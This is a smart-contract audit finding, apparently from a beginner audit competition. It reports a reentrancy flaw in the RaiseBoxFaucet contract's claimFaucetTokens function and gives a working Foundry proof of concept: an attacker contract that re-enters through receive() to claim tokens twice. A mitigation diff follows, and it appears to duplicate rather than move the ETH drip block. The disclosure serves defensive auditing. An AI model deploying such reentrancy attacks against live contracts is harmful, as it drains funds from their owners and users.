Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy

Root + Impact

Description

  • The claimFaucetTokens function is used to send faucet tokens with 3 days cooldown between claims. It also sends Sepolia ETH to first time claimers before sending tokens.

  • The function starts an external ETH transfer to the claimer before it updates lastClaimTime state variable and before it raises dailyClaimCount. Because lastClaimTime is still 0 at the time of re entry, the cooldown check passes and the attacker receives a second token transfer in the same transaction

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
@> hasClaimedEth[faucetClaimer] = true; // Set before external call
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // External call, reentrancy point
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp; // Set AFTER external call
@> dailyClaimCount++; // Incremented AFTER external call
// Interactions
@> _transfer(address(this), faucetClaimer, faucetDrip); // Second external interaction
emit Claimed(msg.sender, faucetDrip);

Risk

Likelihood:

  • Any user deploying a malicious contract with a fallback or receive function can execute this attack when claiming tokens for the first time

  • The attack requires no sophistication

Impact:

  • Attackers can deploy multiple contracts to repeat the exploit

  • Each malicious address can only exploit this vulnerability once since hasClaimedEth

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttack {
RaiseBoxFaucet public faucet;
uint256 public claimCount;
bool public attacking;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
attacking = true;
faucet.claimFaucetTokens();
attacking = false;
}
// Fallback function to receive ETH
receive() external payable {
console.log("Received ETH, reentering...");
// Re enter only once to demonstrate double claim
if (attacking && claimCount == 0) {
claimCount++;
console.log("Re-entering claimFaucetTokens...");
faucet.claimFaucetTokens();
}
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet public faucet;
ReentrancyAttack public attacker;
address public owner = makeAddr("owner");
function setUp() public {
vm.startPrank(owner);
faucet = new RaiseBoxFaucet(
"TestToken",
"TEST",
1000 * 10**18, // faucetDrip
0.005 ether, // sepEthDrip
0.1 ether // dailySepEthCap
);
// Fund contract with ETH
vm.deal(address(faucet), 10 ether);
vm.stopPrank();
// Deploy attacker contract
attacker = new ReentrancyAttack(address(faucet));
}
function testReentrancyDoubleClaimTokens() public {
console.log("=== REENTRANCY ===");
console.log("");
uint256 attackerBalanceBefore = faucet.balanceOf(address(attacker));
console.log("Attacker token balance before:", attackerBalanceBefore / 1e18);
uint256 faucetBalanceBefore = faucet.balanceOf(address(faucet));
console.log("Faucet token balance before:", faucetBalanceBefore / 1e18);
console.log("");
console.log("Executing reentrancy attack...");
console.log("");
// Execute attack
attacker.attack();
uint256 attackerBalanceAfter = faucet.balanceOf(address(attacker));
uint256 faucetBalanceAfter = faucet.balanceOf(address(faucet));
console.log("");
console.log("=== RESULTS ===");
console.log("Attacker token balance after:", attackerBalanceAfter / 1e18);
console.log("Faucet token balance after:", faucetBalanceAfter / 1e18);
console.log("");
console.log("Tokens stolen:", (attackerBalanceAfter - attackerBalanceBefore) / 1e18);
console.log("Expected tokens per claim:", 1000);
console.log("Re-entry count:", attacker.claimCount());
// Verify double claim occurred
assertEq(attackerBalanceAfter, 2000 * 10**18, "Should have received 2000 tokens (double claim)");
assertEq(faucetBalanceBefore - faucetBalanceAfter, 2000 * 10**18, "Faucet should have lost 2000 tokens");
assertEq(attacker.claimCount(), 1, "Should have re-entered once");
console.log("");
console.log("VULNERABILITY CONFIRMED: Attacker received 2x tokens in single transaction");
}
function testNormalUserReceivesCorrectAmount() public {
console.log("=== NORMAL USER CLAIM TEST (Control) ===");
console.log("");
address normalUser = makeAddr("normalUser");
uint256 balanceBefore = faucet.balanceOf(normalUser);
console.log("Normal user balance before:", balanceBefore / 1e18);
vm.prank(normalUser);
faucet.claimFaucetTokens();
uint256 balanceAfter = faucet.balanceOf(normalUser);
console.log("Normal user balance after:", balanceAfter / 1e18);
console.log("Tokens received:", (balanceAfter - balanceBefore) / 1e18);
assertEq(balanceAfter, 1000 * 10**18, "Normal user should receive exactly 1000 tokens");
console.log("");
console.log("Normal claim works as expected: 1000 tokens");
}
function testReentrancyOnlyWorksOnce() public {
console.log("=== TESTING EXPLOIT LIMITATION ===");
console.log("");
// First attack succeeds
attacker.attack();
uint256 balanceAfterFirstAttack = faucet.balanceOf(address(attacker));
console.log("Balance after first attack:", balanceAfterFirstAttack / 1e18);
// Wait for cooldown
vm.warp(block.timestamp + 3 days + 1);
uint256 balanceBeforeSecond = faucet.balanceOf(address(attacker));
attacker.attack();
uint256 balanceAfterSecond = faucet.balanceOf(address(attacker));
uint256 tokensFromSecondAttack = balanceAfterSecond - balanceBeforeSecond;
console.log("Tokens from second attack:", tokensFromSecondAttack / 1e18);
assertEq(tokensFromSecondAttack, 1000 * 10**18, "Second attack should only get 1000 tokens");
console.log("");
console.log("CONFIRMED: Reentrancy only works on first claim (hasClaimedEth prevents repeat)");
}
}

Recommended Mitigation

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
+ // Move ETH drip logic here, AFTER state updates
+ if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ uint256 currentDay = block.timestamp / 24 hours;
+
+ if (currentDay > lastDripDay) {
+ lastDripDay = currentDay;
+ dailyDrips = 0;
+ }
+
+ if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ hasClaimedEth[faucetClaimer] = true;
+ dailyDrips += sepEthAmountToDrip;
+
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+
+ if (success) {
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ } else {
+ emit SepEthDripSkipped(
+ faucetClaimer,
+ address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
+ );
+ }
+ }
+
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.